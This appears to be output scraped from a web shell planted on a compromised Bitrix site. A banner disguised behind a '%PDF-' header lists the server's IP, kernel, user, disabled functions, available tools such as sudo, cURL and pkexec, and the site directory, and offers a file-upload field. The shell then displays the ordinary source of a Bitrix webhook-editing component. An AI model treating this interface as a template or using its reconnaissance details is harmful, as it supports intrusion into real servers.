%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.15.25.186 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rest.hook.event.edit/ |
Upload File : |
<?php if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) { die(); } /** * Bitrix vars * * @var array $arParams * @var array $arResult * @var CBitrixComponent $this * @global CMain $APPLICATION * @global CUser $USER */ use Bitrix\Main\Localization\Loc; if(!\Bitrix\Main\Loader::includeModule('rest') || !$USER->IsAuthorized()) { return; } $arParams['ID'] = intval($arParams['ID']); InitBVar($arParams['SET_TITLE']); $eventDictionary = new \Bitrix\Rest\Dictionary\WebHook(); $arResult['EVENTS_DESC'] = array(); foreach($eventDictionary as $event) { $arResult['EVENTS_DESC'][ToUpper($event['code'])] = $event; } if($arParams['ID'] > 0) { $dbRes = \Bitrix\Rest\EventTable::getById($arParams['ID']); $event = $dbRes->fetch(); if(is_array($event)) { if($event['USER_ID'] != $USER->GetID() || $event['APP_ID'] > 0) { $event = false; } } if(!$event) { ShowError(Loc::getMessage('REST_HEVE_NOT_FOUND')); return; } $arResult['INFO'] = array( 'ID' => $event['ID'], "EVENT_NAME" => $event['EVENT_NAME'], "EVENT_HANDLER" => $event['EVENT_HANDLER'], "TITLE" => $event['TITLE'], "COMMENT" => $event['COMMENT'], "APPLICATION_TOKEN" => $event['APPLICATION_TOKEN'], ); } else { $arResult['INFO'] = array( 'ID' => 0, 'EVENT_NAME' => '', 'EVENT_HANDLER' => '', 'TITLE' => Loc::getMessage('REST_HEVE_TITLE_DEFAULT'), 'COMMENT' => '', ); } $request = \Bitrix\Main\Context::getCurrent()->getRequest(); if($request->isPost() && check_bitrix_sessid()) { $arResult['INFO']['EVENT_NAME'] = trim($request['EVENT_NAME']); $arResult['INFO']['EVENT_HANDLER'] = trim($request['EVENT_HANDLER']); $arResult['INFO']['TITLE'] = trim($request['TITLE']); $arResult['INFO']['COMMENT'] = trim($request['COMMENT']); $error = new \Bitrix\Main\ErrorCollection(); if($arResult['INFO']['EVENT_NAME'] <> '') { if(!isset($arResult['EVENTS_DESC'][$arResult['INFO']['EVENT_NAME']])) { $arResult['INFO']['EVENT_NAME'] = ''; } } if($arResult['INFO']['EVENT_NAME'] == '') { $error->add( array( new \Bitrix\Main\Error(Loc::getMessage('REST_HEVE_ERROR_EVENT_NAME')) ) ); } $uri = new \Bitrix\Main\Web\Uri($arResult['INFO']['EVENT_HANDLER']); if( $uri->getHost() == '' || !($uri->getScheme() == 'http' || $uri->getScheme() == 'https') ) { $error->add( array( new \Bitrix\Main\Error(Loc::getMessage('REST_HEVE_ERROR_EVENT_HANDLER')) ) ); } $arResult['INFO']['EVENT_HANDLER'] = $uri->getLocator(); if($error->count() <= 0) { if(!\Bitrix\Rest\OAuthService::getEngine()->isRegistered()) { try { \Bitrix\Rest\OAuthService::register(); } catch(\Bitrix\Main\SystemException $e) { } } if( $arResult['INFO']['ID'] <= 0 || $request['APPLICATION_TOKEN_REGEN'] == 'Y' ) { $arResult['INFO']['APPLICATION_TOKEN'] = \Bitrix\Main\Security\Random::getString(32); } if($arResult['INFO']['ID'] > 0) { $result = \Bitrix\Rest\EventTable::update( $arResult['INFO']['ID'], array( 'EVENT_NAME' => $arResult['INFO']['EVENT_NAME'], 'EVENT_HANDLER' => $arResult['INFO']['EVENT_HANDLER'], 'APPLICATION_TOKEN' => $arResult['INFO']['APPLICATION_TOKEN'], 'TITLE' => $arResult['INFO']['TITLE'], 'COMMENT' => $arResult['INFO']['COMMENT'], ) ); } else { $result = \Bitrix\Rest\EventTable::add( array( 'USER_ID' => $USER->getId(), 'DATE_CREATE' => new \Bitrix\Main\Type\DateTime(), 'EVENT_NAME' => $arResult['INFO']['EVENT_NAME'], 'EVENT_HANDLER' => $arResult['INFO']['EVENT_HANDLER'], 'TITLE' => $arResult['INFO']['TITLE'], 'COMMENT' => $arResult['INFO']['COMMENT'], 'APPLICATION_TOKEN' => $arResult['INFO']['APPLICATION_TOKEN'], ) ); $justCreated = true; } if($result->isSuccess()) { $arResult['INFO']['ID'] = $result->getId(); $url = (new \Bitrix\Main\Web\Uri(str_replace( '#id#', $arResult['INFO']['ID'], $arParams['EDIT_URL_TPL'] )))->addParams(array('success' => 1)); if (\CRestUtil::isSlider()) { $url->addParams(array('IFRAME' => 'Y')); } if ($justCreated || \CRestUtil::isSlider()) { LocalRedirect($url->getLocator()); } else { LocalRedirect($arParams['LIST_URL']); } } else { $arResult['ERROR'] = implode('<br />', $result->getErrorMessages()); } } else { $arResult['ERROR'] = implode('<br />', $error->toArray()); } } $arResult["EVENTS"] = \CRestUtil::getEventList(); if($arParams['SET_TITLE'] == 'Y') { if($arResult['INFO']['ID'] > 0) { $APPLICATION->SetTitle(Loc::getMessage('REST_HEVE_EDIT_TITLE')); } else { $APPLICATION->SetTitle(Loc::getMessage('REST_HEVE_ADD_TITLE')); } } $this->IncludeComponentTemplate();